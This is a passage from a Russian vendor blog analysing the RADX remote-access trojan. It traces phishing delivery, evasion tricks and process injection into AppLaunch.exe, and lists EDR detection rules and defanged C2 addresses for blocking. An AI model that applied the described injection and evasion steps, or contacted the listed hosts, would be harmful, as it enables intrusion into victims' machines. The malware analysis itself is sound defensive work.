Create.Process.Inject.ResumeThread 10\/10 Write.Process.Inject.SetThreadContext (MITRE ATT&amp;CK ID: T1055) 10\/10 Create.Process.WinDef.AddExclusion (MITRE ATT&amp;CK ID: T1562) 10\/10 Create.Process.PowerShell.LongExecution (MITRE ATT&amp;CK ID: T1059) 5\/10 Create.Process.DotNet.RestrictionsBypass 5\/10 Create.Process.PowerShell.CommandExecution 2\/10 Read.Window.Handle.Enumeration (MITRE ATT&amp;CK ID: T1010) <\/code><\/pre>\n<details class=\"spoiler\">\n<summary>\u0422\u0430\u043a\u0436\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043c\u0435\u0440\u044b \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432 \u043c\u043e\u0434\u0443\u043b\u044c \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 C2. <\/summary>\n<div class=\"spoiler__content\">\n<ul>\n<li>\n<p>194.58.33[.]165<\/p>\n<\/li>\n<li>\n<p>194.36.177[.]30<\/p>\n<\/li>\n<li>\n<p>178.250.186[.]7<\/p>\n<\/li>\n<li>\n<p>185.46.46[.]137<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]119<\/p>\n<\/li>\n<li>\n<p>195.10.205[.]20<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]55<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]96<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]105<\/p>\n<\/li>\n<li>\n<p>176.59.209[.]82<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]87<\/p>\n<\/li>\n<li>\n<p>194.61.2[.]208<\/p>\n<\/li>\n<li>\n<p>194.87.248[.]22<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]106<\/p>\n<\/li>\n<li>\n<p>37.79.32[.]101<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]62<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]24<\/p>\n<\/li>\n<li>\n<p>95.216.102[.]32<\/p>\n<\/li>\n<li>\n<p>193.233.80[.]136<\/p>\n<\/li>\n<li>\n<p>185.103.101[.]24<\/p>\n<\/li>\n<li>\n<p>178.250.186[.]3<\/p>\n<\/li>\n<li>\n<p>64.225.64[.]175<\/p>\n<\/li>\n<li>\n<p>45.138.74[.]20<\/p>\n<\/li>\n<li>\n<p>194.58.70[.]35<\/p>\n<\/li>\n<li>\n<p>213.248.43[.]38<\/p>\n<\/li>\n<li>\n<p>93.159.221[.]78<\/p>\n<\/li>\n<li>\n<p>82.115.223[.]57<\/p>\n<\/li>\n<li>\n<p>193.233.255[.]85\u00a0<\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/details>\n<h2>\u0427\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0434\u0430\u043b\u044c\u0448\u0435 \u0438 \u043a\u0430\u043a \u0441 \u044d\u0442\u0438\u043c \u0436\u0438\u0442\u044c<\/h2>\n<p>\u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u044d\u0442\u043e \u0441\u0430\u043c\u044b\u0435 \u0432\u0430\u0436\u043d\u044b\u0435 \u0438 \u0440\u0438\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u043d\u043e \u043c\u044b-\u0442\u043e \u043f\u0440\u0438\u0432\u044b\u043a\u043b\u0438 \u0432\u0441\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0430\u043a\u0442\u0438\u0432\u043d\u043e. \u0414\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432\u0430\u0436\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u043d\u043e \u0438 \u0443\u043c\u0435\u0442\u044c \u0435\u0435 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u0442\u044c. \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c \u043d\u0430\u0434 \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043d\u0435 \u0434\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443 \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435. \u041f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u043a\u0430\u043a \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u00ab\u0441\u043a\u0440\u0438\u043d \u043e\u043f\u043b\u0430\u0442\u044b \u0437\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.pdf.exe\u00bb \u043f\u0443\u0442\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0433\u043e \u0445\u0435\u0448-\u0441\u0443\u043c\u043c\u044b \u043f\u043e \u0431\u0430\u0437\u0435 IoC, \u0442\u0430\u043a \u0438 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u0438\u043d\u0436\u0435\u043a\u0442\u0430 \u0432 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 AppLaunch.exe. \u0410 \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0430 \u0412\u041f\u041e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043c\u044b \u0433\u043e\u0442\u043e\u0432\u0438\u043c ML-\u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435. \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 MaxPatrol EDR, \u0431\u0443\u0434\u0435\u043c \u0440\u0430\u0434\u044b \u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u0432\u0430\u043c\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438 \u0435\u0433\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f.<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/799617\/\"> https:\/\/habr.com\/ru\/articles\/799617\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442! \u041c\u0435\u043d\u044f \u0437\u043e\u0432\u0443\u0442 \u0412\u0430\u043b\u0435\u0440\u0438\u0439 \u0421\u043b\u0435\u0437\u043a\u0438\u043d\u0446\u0435\u0432, \u0432 Positive Technologies \u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0436\u0443\u00a0\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445 \u0432 <a href=\"https:\/\/portal.ptsecurity.com\/orgstructure.aspx\/department\/%7Ba25341b0-7625-11ed-92e0-005056990faf%7D\">\u043e\u0442\u0434\u0435\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e<\/a> \u0432 PT Expert Security Center (PT ESC). \u041d\u0430\u0448\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 MaxPatrol EDR \u0432 \u0447\u0430\u0441\u0442\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u0445\u043e\u0441\u0442\u0430\u0445. \u041c\u044b \u043f\u0438\u0448\u0435\u043c \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u0442\u0435\u0445\u043d\u0438\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438 \u043f\u043e\u0434\u0445\u043e\u0434\u044b \u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044e \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u044b. \u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u044d\u0442\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0438\u0448\u0435\u043c proof of concept \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043d\u0430\u0448\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u043d\u0430 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0441\u0442\u0435\u043d\u0434\u0430\u0445. \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043c\u044b \u0431\u044b\u043b\u0438 \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e MaxPatrol EDR \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u043e\u0442 \u043d\u0438\u0445 \u043d\u0430\u0448\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043a, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043c\u044b \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u043e\u0439 \u0441\u0435\u0440\u0438\u0435\u0439 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0440\u043e\u044f\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c RADX. \u041e\u0431 \u044d\u0442\u043e\u043c \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0447\u0438\u0442\u0430\u0442\u044c \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <a href=\"https:\/\/www.securitylab.ru\/news\/545303.php?ysclid=lt781xropl590323010\">\u043d\u0430 SecurityLab<\/a>. \u0418 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043d\u0430\u043c \u0441\u0442\u0430\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043a\u0430\u043a MaxPatrol EDR \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0442\u0440\u043e\u044f\u043d \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u043d\u0435\u0433\u043e. \u0427\u0442\u043e \u043c\u044b \u0432 \u0438\u0442\u043e\u0433\u0435 \u0443\u0437\u043d\u0430\u043b\u0438, \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c \u0438 \u043f\u043e\u043a\u0430\u0436\u0435\u043c \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435.<\/p>\n<h2>Initial Access<\/h2>\n<p>\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430.<\/p>\n<p>\u0412\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0435\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0432. \u041c\u044b, \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u044f \u043d\u0435\u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438 \u043d\u0435\u0438\u0441\u043a\u0443\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0435\u0433\u043e \u043d\u0430 \u0434\u0438\u0441\u043a \u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c. \u0412\u043d\u0443\u0442\u0440\u0438 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b \u00ab\u0441\u043a\u0440\u0438\u043d \u043e\u043f\u043b\u0430\u0442\u044b \u0437\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.pdf.exe\u00bb. \u0412\u043e\u0442 \u043a\u0430\u043a \u043e\u043d \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432 File Explorer \u043f\u0440\u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u0445.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u044d\u0442\u043e 32-\u0431\u0438\u0442\u043d\u043e\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 C\/C++. <\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412 \u043a\u043e\u0434\u0435 \u043c\u044b \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u0440\u0438\u0435\u043c\u044b \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b:<\/p>\n<ul>\n<li>\n<p>API hashing \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432; <\/p>\n<\/li>\n<li>\n<p>\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 next-stage payload;<\/p>\n<\/li>\n<li>\n<p>\u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 RegCloseKey (\u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430).<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 <code>C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe<\/code> \u0441 \u0444\u043b\u0430\u0433\u043e\u043c CREATE_SUSPENDED\u00bb \u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0432 \u043d\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 WriteProcessMemory, SetThreadContext \u0438 ResumeThread.<\/p>\n<blockquote>\n<p>\u041f\u0440\u043e \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 RAT, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0433\u043e\u0432\u043e\u0440\u044f\u0449\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u044f\u0432\u0438\u0442\u044c\u0441\u044f \u0432 \u043b\u044e\u0431\u043e\u043c \u0443\u0433\u043e\u043b\u043a\u0435 \u043f\u043b\u0430\u043d\u0435\u0442\u044b, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c <a href=\"https:\/\/habr.com\/ru\/companies\/pt\/articles\/793440\/?utm_source=habr&amp;utm_medium=article&amp;utm_campaign=RADX\">\u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>. \u041d\u0430\u0448\u0438 \u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u043f\u0438\u0441\u0430\u043b\u0438, \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0435\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0438, \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b \u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044c.<\/p>\n<\/blockquote>\n<h2>Next Stage<\/h2>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0441\u0442\u0430\u0434\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e AppLaunch.exe. <\/p>\n<p>\u0412\u043d\u0435\u0434\u0440\u0451\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u2013 \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 .NET, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 C2-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043e\u0442 \u043d\u0435\u0433\u043e \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e\u043d\u043e \u0443\u043c\u0435\u0435\u0442 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 <code>cmd.exe<\/code>, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Task Scheduler.<\/p>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0442\u0440\u043e\u044f\u043d\u0430 RADX, \u043c\u043e\u0439 \u043a\u043e\u043b\u043b\u0435\u0433\u0430, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043e\u0442\u0434\u0435\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u041f\u0430\u0432\u0435\u043b \u041c\u0430\u043a\u0441\u044e\u0442\u0438\u043d, \u043f\u0440\u043e\u044d\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0443\u0442\u0438\u043b\u0438\u0442\u0443 FakeNet-NG. \u0412 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043e\u0442 RADX \u043c\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/p>\n<ul>\n<li>\n<p><code>cmd<\/code> \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 cmd.exe (<code>wmic process call create calc.exe<\/code>);<\/p>\n<\/li>\n<li>\n<p><code>stream_start, stream_stop<\/code> \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 